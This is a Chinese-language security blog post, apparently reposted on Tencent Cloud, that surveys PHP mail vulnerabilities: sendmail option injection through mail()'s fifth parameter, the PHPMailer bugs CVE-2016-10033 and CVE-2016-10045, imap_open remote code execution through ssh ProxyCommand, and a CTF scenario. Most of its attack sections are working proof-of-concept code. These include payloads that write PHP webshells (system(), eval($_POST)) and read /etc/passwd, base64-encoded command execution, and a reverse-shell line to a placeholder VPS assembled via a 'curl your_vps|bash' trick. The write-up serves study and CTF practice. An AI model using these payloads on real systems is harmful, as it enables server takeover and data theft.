首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PHP 邮件漏洞小结

PHP 邮件漏洞小结

作者头像
安恒网络空间安全讲武堂
发布2019-05-28 20:14:35
2.2K0
发布2019-05-28 20:14:35
举报

前言

此篇文件为有关PHP邮件漏洞的总结,如有错误,还请各位师傅指出。

PHP mail()函数介绍

PHP mail()函数利用姿势

PHP中,mail的函数在底层是写好的,调用linux的sendmail程序来发送邮件,在额外参数中,sendmail还支持其他三个选项。

-X logfile :指定一个文件来记录邮件发送的详细日志。

-C file:临时加载一个配置文件(可以读文件)。

-O option=value :临时设置一个邮件储存的临时位置。

任意文件写入

代码如下:

<?php$to = 'a@b.c';$subject = '<?php system("whoami"); ?>';$message = '<?php system("ls");?>';$headers = '';$options = '-f lihuaiqiu@1 -OQueueDirectory=/tmp/ -X/root/1.php';mail($to, $subject, $message, $headers, $options);?>

实际运行命令为: /usr/bin/sendmail-t-i-f lihuaiqiu@1-OQueueDirectory=/tmp/-X/root/1.php

此命令简写形式 -f lihuaiqiu@1-oQ/tmp/-X/root/1.php可突破某些字符限制的地方。

查看并运行邮件日志1.php回显:

成功将邮件内容写入日志,并进行了命令执行。

任意文件读取

代码如下:

<?php$to = 'a@b.c';$subject = '<?php system("whoami"); ?>';$message = '<?php system("ls");?>';$headers = '';$options = '-f lihuaiqiu@1 -C/etc/passwd -X/root/1.php';mail($to, $subject, $message, $headers, $options);?>

实际运行命令: /usr/bin/sendmail-t-i-f lihuaiqiu@1-C/etc/passwd-X/root/1.php

回显效果:

成功读取敏感数据文件。

利用配置文件执行代码

上述两种情况只建立在我们的目录有写权限以及写入的文件可以执行条件下,但是如果我们面临着没有写权限或者无法执行写入文件该怎么办呢,这时就要用到新的姿势,利用配置文件执行代码。

找到一个上传点,上传一个静态文件,文件内容为sendmail的配置文件内容并在末尾加上如下代码:

Mlocal,              P=/usr/bin/php, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL,
R=EnvToL/HdrToL,
T=DNS/RFC822/X-Unix,
A=php -- $u $h ${client_addr}

原理:系统默认使用sendmail-mta来解析邮件的内容,这里添加的内容目的是覆盖默认的解析,使用PHP来解析邮件内容。

payload为 lihuaiqiu@1 -oQ/tmp -X ./upload/sendmail_cf

实际执行的命令: /usr/bin/sendmail-t-i-f lihuaiqiu@1-oQ/tmp-X./upload/sendmail_cf

将邮件内容以php方式进行解析进行命令执行。

CVE-2016-10033分析

上面我们分析了PHP中mail函数产生的漏洞,而这个cve phpmailer正是因为第五个参数过滤的不严谨导致的漏洞,下面开始进行分析,代码在https://github.com/opsxcq/exploit-CVE-2016-10033/blob/master/src/class.phpmailer.php

首先定位找到mail函数,需要满足三个条件,才可以进行五个参数的mail函数执行,需满足:没有开启safe_mode模式以及$params非Null

然后在接下来的代码寻找$params这个值是怎么来的

很明显可以看到$params来自于$this->Sender,并且在下面的执行语句中,$params变量会传递进mailPassthru函数中进而给mail函数当作第五个参数。

接着跟进$this->sender

可以从函数中看出来,$address经过strpos函数以及validataAddress的检测,最终把值赋给$this->sender

跟进validataAddress函数

可以看到依然用了strpos进行了一次检测,接着向下走会看到如果PHP_VERSION<5.2的话,则选择noregex模式对$address进行检测

这是一个很鸡肋的检测,基本上payload中含有@就可以的。

最终构造exp: lihuaiqiu@1-oQ/tmp-X/var/www/backdoor.php,最终将日志文件写入backdoor.php中。

漏洞环境https://github.com/opsxcq/exploit-CVE-2016-10033

漏洞利用条件

php version < 5.2.0 no pcre phpmailer < 5.2.18 php safe_mode = false

exp回显截图

Bypass pcre8

如果能bypass掉这个恶心的正则,那么利用条件就方便了很多,可以发现在@前面加括号就会可以进行bypass payload为 a(-X/home/www/backdoor.php-OQueueDirectory=/tmp)@qq.com

CVE-2016-10045分析

主要更新点在于对于$this->Sender的函数过滤问题,下面来看一下这个函数的具体情况

其作用我放张图基本就会懂的

对于代码

<?php$str="a'( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com";$c=escapeshellarg($str);echo $c;echo "</br>";$str="a( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com";$b=escapeshellarg($str);echo $b;

运行结果为

'a'\''( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com'

'a( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com'

可以看到此函数将传入的单引号进行了一次转义,并且自己为其他两端字符串添加了单引号,保证两端字符串正确解析.

但是此时出现了问题,mail函数自带escapeshellcmd函数过滤

对于这个函数,我们的上一个payload就会失效的 a(-X/home/www/backdoor.php-OQueueDirectory=/tmp)@qq.com,原因在于()被转义。

escapeshellcmd与escapeshellarg导致参数注入

当$this->sender同时被这两个参数处理的话,就会导致单引号逃逸,如下代码测试

<?php$str="a'( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com";$c=escapeshellarg($str);echo $c;
echo escapeshellcmd($c);

运行结果:

'a'\''( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com'

'a'\''( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com\'

最终sendmail形式为 -fa\( , -X/home/www/backdoor.php , -OQueueDirectory=/tmp , )@qq.com'

本地测试代码:

<?php$to = 'a@b.c';$subject = '<?php system("whoami"); ?>';$message = '<?php system("ls");?>';$headers = '';$options = "'-fa'\\''\( -OQueueDirectory=/tmp -X/root/lihuaiqiu.php \)@a.com\'";
mail($to, $subject, $message, $headers, $options);?>

测试结果:

运行的时候会有一些报错的,但是仍然可以写入文件。

imap_open RCE 分析

imapopen为介绍的第二种漏洞,imapopen同样也常用于在php中bypass disable_functions

IMAP介绍

Internet消息访问协议(IMAP)是电子邮件客户端用于通过TCP/IP连接从邮件服务器检索电子邮件的Internet标准协议,IMAP服务器通常侦听端口号143,在php函数中,imap_open正用于打开邮箱的IMAP流。

函数介绍如下:

mailbox参数详解:

{[host]}:[port][flags]}[mailbox_name]

  • host:标准主机(服务器的域名或者IP地址)
  • port:主机端口
  • flags:可选标志
  • mailbox_name:远程邮箱名称,默认为INBOX

flags可选标志列表如下:

具体链接:https://www.php.net/manual/zh/function.imap-open.php

漏洞主要触发原理:

如下实例:

@imap_open('{localhost}:143 / imap} INBOX','','');

分析:localhost为我们执行命令的参数之一,所以我们可以操纵服务器参数来构造恶意IMAP服务器来执行我们想要的命令,原理为:在php.ini中imap.enableinsecurersh参数为On的情况下,执行imap_open函数时/usr/bin/rsh被链接到ssh指令,所以通过ssh的-o选项我们可以进行命令执行。这里我们可以看一下ssh中可以执行命令的参数:

通过这个参数,我们就可以执行我们想要的命令了。

例如官方exp中给出的命令

ssh -oProxyCommand ="echo hello | tee / tmp / executed"localhost

通过我做的两个实验的例子,可以很清晰的看出构造出来的恶意邮箱服务器参数所造成的危害。

但是在PHP中填写邮箱参数的时候却不能这么直白的将此恶意邮箱参数填写

因为在解析的时候,PHP会将空格解释为分隔符以及斜杠作为标志,这里空格还是比较好绕过的,利用$IFS shell变量以及\t都可以进行替换空格,绕过斜杠的方法则是用base64进行编码。

如:echo bHM=|base64 -d|bash等于与ls。

docker中模拟测试

docker pull fedosov/docker-php-imap-composer
docker run -i -t -d fedosov/docker-php-imap-composer /bin/bash
docker exec -it 9017603a0e13 /bin/bash

模拟一个imap的邮件发送脚本,脚本代码如下:

<?php$payload = "echo lihuaiqiu|tee /tmp/success";$encoded_payload = base64_encode($payload);$server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash";@imap_open('{'.$server.'}:143/imap}INBOX', '', '');

运行回显如下:

我们通过构造恶意服务器参数,成功的建立了我们想要的文件,通过此功能我们可以写webshell达到我们想要目的。

Bypass disable_functions

理解了这个漏洞的原理,我们就能知道这个功能是可以bypass disable_functions的。

下面来具体分析一下:

在存在RFI或LFI的情况下:

我们通过imap_open建立一个内容为\的1.php

运行脚本如下

<?php$server = "any -o ProxyCommand=echo\t'\<?php\tsystem(whoami);?>'\t>\t1.php";@imap_open('{'.$server.'}:143/imap}INBOX', '', '');

存在RFI漏洞文件:

<?php
include($file);
?>

我们可以控制$file参数为我们刚才设置的1.php

回显结果:

安恒二月赛场景分析

由于没有环境,只能分析一下关键部分的思路

本题同样为imap_open所产生的漏洞.关键部分的在于对base64以及|的过滤,但是这个是存在上传图片的地方,所以我们可以通过bash+图片名来执行我们想要的命令

本地代码复现:

运行脚本如下:

<?php$server = "any -o ProxyCommand=bash\t1.jpg";@imap_open('{'.$server.'}:143/imap}INBOX', '', '');

1.jpg内容为

echo"<?php @eval($_POST['li']);?>">webshell.php

回显结果:

成功的打出webshell.

另一个思考:

如果这道题没有上传文件的助攻该怎么办?

其实在上面我们可以看见,这个是有建立文件的功能的,所以我们可以根据hitcon的一道题的思路:

先建立我们所需要的文件名,比如文件名最后需要的是 curl your_vps|bash,在文件的index.html中写入反弹bash的一句话:

bash -i >& /dev/tcp/vps/port 0>&1

通过建立如下文件名

'\>sh\ '
'>ba\\\\\'
'>\\\|\\\\'
中间省略一些建立ip的过程
'>rl\\\\'
'>cu\\\\'

最后通过命令ls -t>g将文件名导入g中,执行命令sh g,最终反弹shell。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-05-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • PHP mail()函数介绍
  • PHP mail()函数利用姿势
  • CVE-2016-10033分析
  • Bypass pcre8
    • CVE-2016-10045分析
    • escapeshellcmd与escapeshellarg导致参数注入
    • imap_open RCE 分析
      • IMAP介绍
        • 漏洞主要触发原理:
          • docker中模拟测试
            • Bypass disable_functions
              • 安恒二月赛场景分析
              相关产品与服务
              容器服务
              腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档